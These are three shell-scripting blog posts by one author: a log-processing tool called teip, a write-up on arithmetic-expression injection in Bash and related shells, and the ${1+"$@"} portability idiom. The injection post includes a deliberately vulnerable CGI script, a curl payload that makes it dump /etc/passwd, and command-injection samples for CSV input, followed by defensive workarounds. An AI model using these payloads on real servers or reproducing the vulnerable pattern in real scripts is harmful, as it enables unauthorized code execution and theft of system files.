Forem: Yasuhiro Yamada

teip: "Masking tape" for Shell is what we needed

Yasuhiro Yamada — Wed, 03 Jun 2020 21:34:03 +0000

Question

The following is part of the /var/log/secure file on my server.
The entire size of the original file is several hundred MiB.

$ cat test_secure
May 26 03:19:26 localhost sshd[17872]: Received disconnect from 192.0.2.152 port 29864:11:  [preauth]
May 26 03:19:26 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
May 26 03:21:10 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
May 26 03:21:10 localhost sshd[17927]: input_userauth_request: invalid user amavis1 [preauth]
...

I had to convert the datetime at the beginning of the line to UNIX time (don't ask me why) while logged in with SSH.
As shown below is what I wanted.

1590459566 localhost sshd[17872]: Received disconnect from 192.0.2.152 port 29864:11:  [preauth]
1590459566 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
1590459670 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
1590459670 localhost sshd[17927]: input_userauth_request: invalid user amavis1 [preauth]
...

I would like to finish this kind of work EASILY on the terminal.

So, how would you get this done?

I've prepared a sample file (extracted one is 100 MiB), so if you're interested, please give it a try.

Overview of this article

Typical UNIX commands and Shell cannot easily allow you to modify the input/file partially.
If you try to accomplish this "partial modification", more often than not, you'll complete a complex "script" or you'll only get an "one-liner" having terrible performance.
teip can be the "masking tape" against the pipes.
With teip, you'll make such the task done easily.
The one-liner with teip can work faster than other single thread commands.

Answers for the question

Back to the story, I'll show you the most common answers to the questions.

Answer 1: `while` statement

If you notice that the datetime can be parsed with the date command, you can use the while statement of Bash to read and format each line as shown below.

$ cat test_secure | while read -r m d t rest; do echo "$(date -d "$m $d $t" +%s) $rest" ; done
...
1590463166 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
1590463270 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
...

However, this is a bad practice that beginners tend to do. This method is extremely slow. It is only a few tens of "KiB" per second in my environment (t3.medium instance on AWS). Let's measure the speed with the pv command¹.

$ cat test_secure | while read -r m d t rest; do echo "$(date -d "$m $d $t" +%s) $rest" ; done | pv > /dev/null
 329KiB 0:00:04 [84.7KiB/s] [...]

Let's say the processing speed is 100 KiB/s, it will take 17 minutes to complete a 100 MiB file. If the file is 1GiB, it will take 175 minutes!
This is not good for the environment because it requires much energy to convert😢🌎 , and it may cause the SSH session to run out.

This is not just a problem of while statement. All the ways to make the date fork every line have essentially the same problem. Calling the date from xargs, awk, or perl, for example, is similarly slow.

Answer 2: Separate, Convert and Merge

OK, let's try another idea. Extract the datetime first, and convert them into UNIX time, and save the result to seconds.

$ cat test_secure | cut -c 1-15 | date -f- +%s > seconds
$ less seconds
1590463166
1590463166
1590463270
...

After that, combine them with the rest of the file.

$ paste -d ' ' seconds <(cut -c 17- test_secure)
...
1590463166 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
1590463270 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
...

It's a bit of a hassle, but if you have plenty of disk space, this is a good way to go. Furthermore, this method is relatively fast.

But in real-life situations, this method may take more effort than expected.
Typically, huge log files are often partially corrupted like this.

May 22 01:15:17 localhost sshd[27705]: ...
May 22 01:15:17 localhost sshd[27705]: ...
: Connection closed by 192.0.2.125 port 27258 [preauth] !!!!!!!!!!! Broken line
May 22 01:15:17 localhost sshd[27707]: ...

Bit flipping and undefined behavior on the software, OS, memory, and file system can easily create such a file. For example, HTTP logs provided by NASA is in a similar situation.

Who can guarantee the correspondence between seconds and the original file²?

$ cat test_secure_broken | cut -c 1-15 | date -f- +%s > seconds

$ wc -l test_secure_broken
1078333 test_secure_broken

$ wc -l seconds
1078331 seconds    ## <==== Different number!

In many cases, this method risks wasting a lot of time and effort on file normalization. Besides, this idea is less generic because it cannot apply to Apache's log (the datetime is NOT at the beginning of the line) like NASA's one.

Answer 3: `sed`, `awk`, `perl`, etc..

If you are familiar with the command line, you can think of a way to convert it using the built-in features of an interpreter language such as awk, sed, perl, or ruby. It's probably the best answer so far, but this way involves a lot of hard work.

First, let's use the one called awk³.

It would be better to use mktime. If you give numbers following "YYYY MM DD HH MM SS" format, you will get the UNIX time.

$  awk 'BEGIN{s=mktime("2020 01 01 01 01 01");print s}'
1577840461

OK, it is enough simple so far. I searched on Google ⁴ and found that the name of the month (Jan, Feb, ...) can't be converted to digits by awk, it seems. So, I need a small code to convert it first.

I found a good sample on the Stack Overflow.

echo "Feb" | awk '{printf "%02d\n",(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3}'

It looks like we can convert month name to the number in this way. This one-liner is what I created finally.

$ cat test_secure | awk -F'[ :]+' '{m=(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3;s = mktime(2020" "m" "$2" "$3" "$4" "$5);$2="";$3="";$4="";$5="";$1=s;print }' | awk '{$1=$1;print}'
...
1590463166 localhost sshd[17872] Disconnected from 192.0.2.78 port 29864 [preauth]
1590463270 localhost sshd[17927] Invalid user amavis1 from 192.0.2.148 port 53364
...

Some character is lost from the original file (all the colons : are removed from file). But it is ok for me. The speed seems to be satisfactory, and it took about 9 seconds to process a 100 MiB file. But it is a bit of a long "one-liner".

So, let's try it in perl. You may need an external module, but it's just a little shorter.

$ cat test_secure | perl -MTime::Piece -anle 'my $t = Time::Piece->strptime("$F[0] $F[1] $F[2] 2020", "%b %d %H:%M:%S %Y");printf $t->epoch; print " @F[3..$#F]";'

The above ways have the same problems as Answer 2 and do not preserve the integrity of the file. However, you can use a regular expression to convert the date having a proper format. But to do so, you may need to write even longer code.

Anyway, can you do the above way EASILY during logging into the server with SSH? For example, do you write the above code for every log of not only /var/log/secure but also Apache, etc.? This is not a one-liner, but a script, and it will kill your SSH session while you're staring at Stack Overflow.

Problems between Shell and UNIX commands

The question exposes the weakness of the Shell and UNIX commands.

Problem 1

Typical UNIX commands are connected using Shell's pipes.

The command takes the ENTIRE standard input and processes it.
The pipe passes the ENTIRE standard input to the command.

That's why Shell is called a "glue language" sometimes. This idea is very powerful, but at the cost of it, each command cannot "choose what to process". As a result, most commands cannot handle the files or the input "partially".

Problem 2

On the other hand, some commands can "choose what to process". They are sed, awk, perl, etc. In other words, if the solution requires partial modification of the data, you have to use those interpreters.

Also, when using these commands, "choose what to process" and "process the data" must be done in the same world provided by the command.

## Choose the lines between particular two lines (one includes AAA, another one includes BBB)
## ..and modify the chosen lines.
... | sed '/AAA/,/BBB/{ s/hoge/fuga/g }'

## Choose 1st, 3rd columns
## ..and modify them
... | awk '{gsub("A","B",$1);gsub("B","C",$3);print}'

## Choose the part matched with the regex
## ..and modify the part
... | perl -nle '/^(......)(...)/; $a=$1;$b=$2; $b =~ s/./@/g; print "$a$b"'

That forces you to make a "script" (that is no longer the "one-liner" in many cases). Because in this world, you have to follow the restriction of the interpreter.

Problem 3

There is a way to create the one-liner as simply as possible without involving the above complications. It's calling the command from within the while statements or the interpreter.

But this way exposes another problem. If the processed data is large, it involves a lot of forks of processes like Answer 1. It may extremely impair the performance as mentioned above.

teip: Masking-tape for Shell

When I was thinking about the above issue, I thought...

"""
Isn't there a way to specify the area to be glued when gluing commands together?
Wouldn't the problems be simpler if we had something like "Masking tape" for example?
"""

As far as I could find, there was no command for such a mechanism.
So I took a long break to learn Rust and created a command called teip (called "téɪp", I assume).

Let's quickly show you the solution using the teip command.
This question can be solved as follows.

$ cat test_secure | teip -c 1-15 -- date -f- +%s
...
1590463166 localhost sshd[17872] Disconnected from 192.0.2.78 port 29864 [preauth]
1590463270 localhost sshd[17927] Invalid user amavis1 from 192.0.2.148 port 53364
...

It's quite simple, isn't it?

This command cuts out only 15 characters from the beginning of the input and passes it to the date command. That is, the string after 15 characters is not visible to the date command (that part is covered by masking tape and the glue is ineffective). Then, teip replace those 15 characters with the result of the date command.

The integrity of the data? Good question. When any inconsistency occurs, teip will print the error and terminate the operation.
See the manual in detail.

Besides, the above example is the simplest one. If you match the datetime using a regular expression like the one below, you won't get any data inconsistencies in this example.

$ cat /var/log/secure | teip -og '^[A-Z]\w\w +\d\d? \d\d:\d\d:\d\d' -- date -f- +%s

Are you worried about the speed? This is also a good question.
Now let's measure it.

$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' ## Clear page cache
$ time cat test_secure | teip -og '^[A-Z]\w\w +\d\d? \d\d:\d\d:\d\d' -- date -f- +%s | pv >/dev/null
94.9MiB 0:00:08 [11.6MiB/s] [...]

real    0m8.185s
user    0m2.791s
sys     0m0.353s

$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
$ time cat test_secure | awk -F'[ :]+' '{m=(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3;s = mktime(2020" "m" "$2" "$3"
"$4" "$5);$2="";$3="";$4="";$5="";$1=s;print }' | awk '{$1=$1;print}' | pv >/dev/null
93.3MiB 0:00:09 [9.44MiB/s] [...]

real    0m9.889s
user    0m9.614s
sys     0m2.452s

$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
$ time cat test_secure | perl -MTime::Piece -anle 'my $t = Time::Piece->strptime("$F[0] $F[1] $F[2] 2020", "%b %d %H:%M:%S %Y");p
rintf $t->epoch; print " @F[3..$#F]";' | pv > /dev/null
94.8MiB 0:00:13 [7.15MiB/s] [...]

real    0m13.290s
user    0m12.807s
sys     0m0.391s

teip + date : 8.185s
awk : 9.889s
perl : 13.290s

As you can see, teip is faster than all the other examples in my environment. As you'll see later, teip is a very high performer.

What `teip` technically does?

Please check README.md for more information.

How useful?

This command can be applied to any problem that requires "partial modification" such as modifying the Apache logs, the specific columns in the CSV or TSV file, only the contents of <body> in the HTML file, etc. Here are some examples introduced on the GitHub.

Edit 4th and 6th columns in the CSV file

$ cat file.csv | teip -d, -f 4,6 -- sed 's/./@/g'

Percent-encode bare-minimum range of the file

$ cat file | teip -og '[^-a-zA-Z0-9@:%._\+~#=/]+' -- php -R 'echo urlencode($argn)."\n";'

Advantages of teip

teip allows another command to "choose what to process". There are two benefits in this way.

First, any command such as grep, date, base64, iconv, fold, nfk, rev, tac etc, etc.. can now be used for partial modification, without interpreters and while statement! This makes your daily works more simple ones.

Second is performance enhancement. Let me show you the results of the quite interesting benchmark. Here is the comparison of processing time to replace approx 761,000 IP addresses with dummy string in 100 MiB /var/log/secure file.

Believe it or not, the performance of GNU sed/awk together with teip is better than the same ones which run in a single thread - more than twice as much. If you are interested in, see Wiki > Benchmark.

The reason for this is that the "choose what to process" can be done in a separate thread in parallel. As a result, "Masking-taped" commands become faster because they only need to handle a limited amount of input. In this benchmark, the sed became faster because the number of backtracks performed by the regular expression is reduced.

With teip, you can easily get the troublesome work done that you couldn't do with the traditional UNIX commands and Shell environment before 😄

If you have any questions or pull requests, always welcome. Let's keep the environment together 🌎

https://www.man7.org/linux/man-pages/man1/pv.1.html ↩
The broken sample file is prepared here. ↩
Pardon me, I am not familiar with it. ↩
By the time I looked for this page, I had seen a number of samples in awk that used the date command. How do they do it when they're dealing with huge files? ↩

Arithmetic operation in shell script can be exploited

Yasuhiro Yamada — Tue, 03 Sep 2019 22:09:45 +0000

Is it vulnerable?

Here is the simple Bash script called index.cgi.
It is supposed to be used as CGI.
It gets parameter called num provided by a client and checks whether the num equals to 100 or not.

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

It works fine like this.

$ curl -d num=100 http://localhost/index.cgi
OK

$ curl -d num=101 http://localhost/index.cgi
NG

And also, empty, non-digit, and any other invalid parameters are rejected properly.

$ curl http://localhost/index.cgi
NG

$ curl -d num='' http://localhost/index.cgi
NG

$ curl -d num=abcdefg http://localhost/index.cgi
NG

$ curl -d num='true ]] && [[ 100' http://localhost/index.cgi
NG

$ curl -d num='\\;"\\"""""";;;~``~\\' http://localhost/index.cgi
NG

Perfect.
It is secure enough, isn't it?

However, this script is actually EXPLOITABLE.
It has the arbitrary code execution vulnerability.
Can you guess which line is problem?

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

Think 1 minute...

...

Did you get it?

The problem is this line.

if [[ "$NUM" -eq 100 ]];then

Let's execute this command.

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi

And here is the result.
/etc/passwd of the Web server is exposed! Yay!

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG

This behavior may also cause CSV injection, privilege escalation and etc (see later).

Let me explain the technical reason of this phenomenon.

Before you read

This article is based on the report (Japanese) written by @yamaya.
All the samples in this article were checked with following versions.

$ bash --version
GNU bash, version 5.0.0(1)-release (x86_64-pc-linux-gnu)

$ ksh --version
  version         sh (AT&T Research) 93u+ 2012-08-01

$ zsh --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)

$ mksh -c 'echo $KSH_VERSION'
@(#)MIRBSD KSH R56 2018/01/14

Please note that first PoC only works with bash and mksh as far as I investigated.
But similar behavior is confirmed with zsh and ksh-like shells (ksh, pdksh) as mentioned later.
ash and dash are not affected as far as I know.

Arithmetic expression of shell script

Not only bash but also zsh, ksh and etc ... evaluate integer type variable as same as common programming languages.
However, it is not just evaluated as "integer number" but "Arithmetic expression".

"Arithmetic expression" means the variety of expressions for mathematical calculations like various operators, array, assignment and so on.
For bash, see manual 6.5 Shell Arithmetic.

The way of evaluation of Arithmetic expression causes the unintentional behavior.
For example, here is a simple script called hoge.sh (this sample is came from the reported article).

#!/bin/bash
typeset -i n # declare "n" as integer type ("typeset" is same as "declare")
a=5
n="$1"
echo "$a"

It just prints the value of a.
This script is expected to print 5 ANYTIME.
Even if any values provided by user, n is only affected and a is NOT affected.

Is it OK so far ?

However, unexpected result is shown when the argument is a=10.

$ ./hoge.sh a=10
10

Why is this happening ?
Because the argument was evaluated as "Arithmetic expression".
Here is the Bash's manual that explains this behavior.

4.2 Bash Builtin Commands - Bash Reference Manual

declare
...
-i
The variable is to be treated as an integer; arithmetic evaluation (see Shell Arithmetic) is performed when the variable is assigned a value.

As you can see, n was declared by typeset -i.
Then, n="$1" does NOT means n is assigned the value of $1.
It means n is assigned the result of $1 that evaluated as arithmetic expression.

Because n is declared as integer, therefore evaluation is implemented when this variable is assigned value.

The value of a is overwritten because a=10 is properly evaluated since it has the correct operator (assignment) as the arithmetic expression.

6.5 Shell Arithmetic - Bash Reference Manual

= *= /= %= += -= <<= >>= &= ⁼ |=

assignment

It looks like unintuitive but it is clearly documented on the bash's manual.

Please note that, this is same as zsh, ksh and other shells.

$ ./hoge.zsh a=10
10

./hoge.ksh a=10
10

In this case, n is assigned $1 by = operator.
However, this evaluation is going to be implemented even though the assignment is conducted by read n (to use stdin as the value) or n=$(command) (to use the result of the command as the value).

Let me explain one more advanced example.
It is not commonly known but any external commands can be called as an arithmetic expression.
As you may know, Shell supports Array.

Arrays - Bash Reference Manual

name[subscript]=value

And it can be interpreted as an arithmetic expression.

$ (( x[0]=1, x[1]=2 ))
$ echo "${x[*]}"
1 2

In addition, command substitution $(command) can be stated as the subscript of array like this.

$ (( x[$(echo 0)]=100 ))
$ echo "${x[0]}"
100

That means, x[$(command)] is GRAMMATICALLY CORRECT AS AN ARITHMETIC EXPRESSION.

Wow, that's interesting!
Let's modify above example as following.

$ ./hoge.sh 'x[$(whoami>&2)]'
myuser
5

As you can see, whoami command is executed and user name myuser is shown.
Please note that whoami is NOT evaluated on the current shell.
It's clear if you run this example with sudo.

$ sudo ./hoge.sh 'x[$(whoami>&2)]'
root
5

If $(whoami>&2) is evaluated on the current shell, the result must be myuser not root.
That means hoge.sh is executed as the privileged process and whoami prints root in the same process.

Other affected expressions

Not only typeset -i but also other syntaxes like $(( ... )) and $[ ... ] for Arbitrary expression perform same procedure.

#!/bin/bash
a=5
n=$(( $1 ))
echo "$a"

$ sudo ./script.sh 'x[$(whoami>&2)]'
root
5

Surprisingly, arithmetic binary operators (like -eq, -le) used within the [[ ... ]] are also same.
That means an operand of the operator is evaluated as Arithmetic expression.

#!/bin/bash
if [[ $1 -eq 0 ]]; then
    a=0
else
    a=1
fi

$ sudo ./script.sh 'x[$(whoami>&2)]'
root

In shell script, evaluation of arithmetic expression is performed in various situations.
For example, offset and length used in the parameter expansion ${var:offset:length} is also evaluated as arithmetic expression.

CSV Injection

The author of the original report introduced following script that causes CSV Injection. This script just loads the CSV file and run simple calculation for each line.

#!/bin/bash
csv="foo.csv"
while IFS=, read item price num; do
    echo "$item,$((price*num))"
done < "$csv"

But if the CSV file includes malicious input like this, an arbitrary command is executed.

hoge,100,x[$(whoami>&2)]

Workaround

Next, let me discuss how to suppress malicious attacks from shell script.
The point is that to be nervous about external input.

Check input as string

=~ operator that compares the string value does not evaluates the value as arithmetic expression.
If the value supposed to be digit numbers, check with regular expression in advance.

#!/bin/bash
typeset -i n
a="$1"
[[ $a =~ ^[0-9]*$ ]] && n=$a

Use external command as much as possible

Originally, shell is the "glue" language to combine multiple commands.
Why don't you utilize external commands?

For example, [ ... ] expression is not affected from this problem.
Because it does not interpret builtin arithmetic expression of the shell since [ is individual command.

$ which [
/usr/bin/[

Therefore, this script is NOT vulnerable.

#!/bin/bash
if [ "$1" -eq 0 ]; then
    a=0
else
    a=1
fi

./script.sh 'x[$(whoami>&2)]'
./script.sh: line 2: [: x[$(whoami>&2)]: integer expression expected

Let me introduce one more example.
bashcms is the Content management system (CMS) written in Bash created by @ryuichiueda.
He has published his own Web site on this CMS for more than 6 years.
However, he has never experienced security issues and performance issues (as he said in his book).
"bashcms" filters all the input with external command since it does not store user input to the shell variables directly.

bashcms2/blob/master/bin/index.cgi

dir="$(tr -dc 'a-zA-Z0-9_=' <<< ${QUERY_STRING} | sed 's;=;s/;')"

Again: Is it vulnerability ?

This behavior is very unintuitive.
As you can see, this behavior may be used for malicious attacks.
For that reason, the author of original article reports this issue to IPA¹.

However, IPA judges that it is not the problem of interpreter itself.
Therefore, the developer should take care of this issue.
Yeah, that may be technically right.
Actually, as I introduced, this behavior is documented on shell's manual.
Not only bash, but also mksh has also the small warning message on its manual about it.

mksh(1)

Warning: This also affects implicit conversion to integer, for example as done by the let command. Never use unchecked user input, e.g. from the environment, in an arithmetic context!

How do you think about this behavior ?

Do you think this is vulnerability ? or Shell's expected behavior?

Do you have any other ideas how to write secure code ?

Please comment and let us discuss :)

IPA: Information-technology Promotion Agency. The organization that organizes various ICT activities for Japanese citizens. This is kind of public organization because Japanese government support it financially. Japanese software engineers can report a software vulnerability to this organization so that they can escalate it into other stakeholders if necessary. ↩

Why ${1+"$@"} is used in shell script

Yasuhiro Yamada — Wed, 01 May 2019 22:46:04 +0000

Sometimes, I use ${1+"$@"} instead of "$@" when passing arguments to a function or an external command.
Here is the example.

#!/bin/bash

main () {
  # Something...
}

main ${1+"$@"}

${1+"$@"} behaves almost same as "$@"(If you do not understand "$@", see this helpful article).

However, there are many shell scripts that include ${1+"$@"} instead of "$@" all over the world.

Oops, have you never seen them ?

OK, let's execute this command on your machine.

$ grep -a -F '${1+"$@"}' /bin/* /usr/bin/*

You'll get bunch of results on either Linux or BSD.

$ grep -a -F '${1+"$@"}' /bin/* /usr/bin/*
/bin/c2ph:    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
/bin/c89:exec gcc $fl ${1+"$@"}
/bin/c99:exec gcc $fl ${1+"$@"}
/bin/catchsegv:"$prog" ${1+"$@"} 2>&3 3>&-)
/bin/find2perl:    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
...
...
/usr/bin/xzgrep:eval "set -- $operands "'${1+"$@"}'
/usr/bin/zgrep:    eval "set -- $arg2 "'${1+"$@"}'
/usr/bin/zgrep:eval "set -- $operands "'${1+"$@"}'

And I know some OSS projects use this expression.
In addition, I am also using it in my own projects.

Let me note my reason of why I'd rather use ${1+"$@"} than "$@".
I am little bit concern about whether my purpose is reasonable or not.
Because historical background related to grammatical expression of code is very hard to find on the web (Because it's difficult to search).
If you use ${1+"$@"} and have any other intention, please comment and let me know!

My conclusion first

Why use it?

To improve portability
"$@" does not work as expected on the particular environments.
- Early versions of Bourne shell
- Particular versions of Bash

Is it better to use it?

Depending on your situation.

You do not need to use ${1+"$@"} if you can ensure that "$@" expands 1 or more positional parameters.
It's better to use it if the number of positional parameters of "$@" can be 0.
But I think, you should not pay large cost to use it.

What `${1+"$@"}` does ?

This expression is came from the variable expansion of ${parameter+word} provided by Bourne shell.

Bourne Shell Manual, Version 7

${parameter+word}
If parameter is set then substitute word; otherwise
substitute nothing.

1 is located to parameter's position, and "$@" is located to the word's one.

As a result, ${1+"$@"} means...
If $1 is defined, evaluate "$@".

This expression can be used in the not only Bourne shell, but also Bourne Again Shell (Bash).
It seems that this is not documented on the Bash's manual. But you can find it if you read carefully.

Bash has ${var:+word} variable expansion and its colon can be omitted.

Bash Reference Manual

if the colon is omitted, the operator tests only for existence.

Normally, ${var:+word} checks whether the var is empty or not.
But if colon is ommited, it just checks var is defined or not.
Therefore, it behaves completely same as Bourne shell's ${parameter+word}

What's happened with `"$@"` ?

Here is simple shell script. It just prints the arguments by echo.
If any undefined variable is used, the script exits unsuccessfully because set -u is stated.
But it seems that there is no undefined variable as you may know.

`myecho.sh`

set -u
echo "$@"

Bash 3.2

Try it on the old version of Bash first.

~ $ bash --version
GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin18)
Copyright (C) 2007 Free Software Foundation, Inc.

It works as expected.

$ /bin/sh myecho.sh A B C
A B C

$ /bin/sh myecho.sh
### empty result

Bourne shell on V7

Next, let's test in on Bourne shell.
But what is "Bourne shell" ? (I do not know honestly)
Let's check Wikipedia :p

Bourne shell - Wikipedia

The Bourne shell was the default shell for Version 7 Unix.

OK, let's use Version 7 Unix (called V7 in this article).
V7 can be simulated on SIMH (I used the docker container alpine-simh).
Off course, vi is not installed to the V7 as myecho.sh must be created by ed.

$ ed myecho.sh
a
set -u
echo "$\@
"
.
w
17
q

$ cat myecho.sh
set -u
echo "$@"

And test it.

$ /bin/sh myecho.sh A C D
A B C

$ /bin/sh myecho.sh
myecho.sh: @: parameter not set

Exit with error !

But, is it big issue for you ?
Many of you may think that everybody no longer uses Bourne shell on V7.
But see next.

Bash 4.0.0

I built Bash 4.0.0.

$ /usr/bin/bash --version
GNU bash, version 4.0.0(1)-release (x86_64-unknown-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.

And test this script.
Result is like this.

$ /usr/bin/bash myecho.sh A B C
A B C

$ /usr/bin/bash myecho.sh
myecho.sh: line 2: $@: unbound variable

Exit with error again !
Particular version of Bash does not work as well.

However, using ${1+"$@"} instead of "$@", we can avoid above errors.

History of this issue

By the way, who started to use ${1+"$@"} ?
I am not sure, but there is the discussion in the book called The UNIX-HATERS Handbook published in 1994.
Regarding this book, shell experts had used this expression as of 1991.

Milt> what does the “${1+“$@”}” mean? I’m sure it’s to
Milt> read in the rest of the command line arguments, but
Milt> I’m not sure exactly what it means

It says the reason is ...

If we used only “$@” then that would substitute to “” (a null argu-
ment) if there were no invocation arguments, but we want no argu-
ments reproduced in that case, not “”.

Let me explain this part in detail.
Generally (and grammatically), "$@" is supposed to be handled as NOTHING if the number of arguments is 0.

my_command "$@"

### Same as ...
my_command

However, "$@" is handled as empty string "" on the particular environments like Bourne shell on V7.

my_command "$@"

### Same as this !
my_command ""

This is unexpected behavior for many developers, I guess.
On the other hand, ${1+"$@"} can be NOTHING as expected.

my_command ${1+"$@"}

### same as below
my_command

And the book says that this way is compatible with V7.

I think ${1+“$@”} is portable all the way back to “Version 7 Unix.”

Investigation on V7

I checked this behavior on V7.
Firstly, create two files as followings.

`main1.sh`

./sub.sh "$@"

`sub.sh`

echo "# = $#"
echo "@ = $*"

( I could not unify them into single file as shell's "function" was not suppored as of V7. )

The result of main1.sh is like this.

$ /bin/sh main1.sh A B C
# = 3
@ = A B C

$ /bin/sh main1.sh
# = 1
@ =

$# is 1. Because empty string "" is passed.

Next, create main2.sh that uses ${1+"$@"} instead of $@.

`main2.sh`

./sub.sh ${1+"$@"}

The result is ...

$ /bin/sh main2.sh A B C
# = 3
@ = A B C

$ /bin/sh main2.sh
# = 0
@ =

$# is 0.
Because NOTHING is passed.

Investigation on Bash 4.0.0

Personally, to keep compatibility with particular versions of Bash is main reason to use this expression.

As I mentioned above, "$@" is not equal to ${1+"$@"} in Bash 4.0.0 as same as Bourne shell.

(I noticed this bug when I was running automated testing for my personal project.)

Strangely, "$@" is going to be NOTHING.
This is different from Bourne shell.

$ /usr/bin/bash main1.sh
# = 0
@ =

$ /usr/bin/bash main2.sh
# = 0
@ =

However, the script is going to be failed with set -u as Bash recognizes that unbound variable is used.

$ /usr/bin/bash -u main1.sh
main1.sh: line 1: $@: unbound variable

$ /usr/bin/bash -u main2.sh
# = 0
@ =

This bug can also be avoided by ${1+"$@"}.
It was already fixed in later versions.
But I know Bash had got many bugs historically.
For example, parameter expansion still has bugs as of bash 5.0.3.

$ bash -c 'set -u; typeset -a a; echo "${#a[@]}"'
bash: a: unbound variable

(this bug was already reported by @satoh_fumiyasu)

The reason why I am still using ${1+"$@"} is mainly came from the concerns about the Bash's robustness.
Honestly, I am not interested in the compatibility for early version of Bourne shell (It does not support even the Shebang !).

Conclusion

As I mentioned, ${1+"$@"} might NOT be equal to "$@" if the number of positional parameters is 0.
Therefore, it's not necessary to use if the number of parameter is supposed to be 1 or more (You would rather NOT use it as it will cause confusion).

If the number of parameters can be 0, it's worth using the expression.
Bash can recognize it grammatically.

However, the environment that has this issue is quite rare as of 2019.

This behavior is fixed as of 1986 in SVR3 shell (I guess).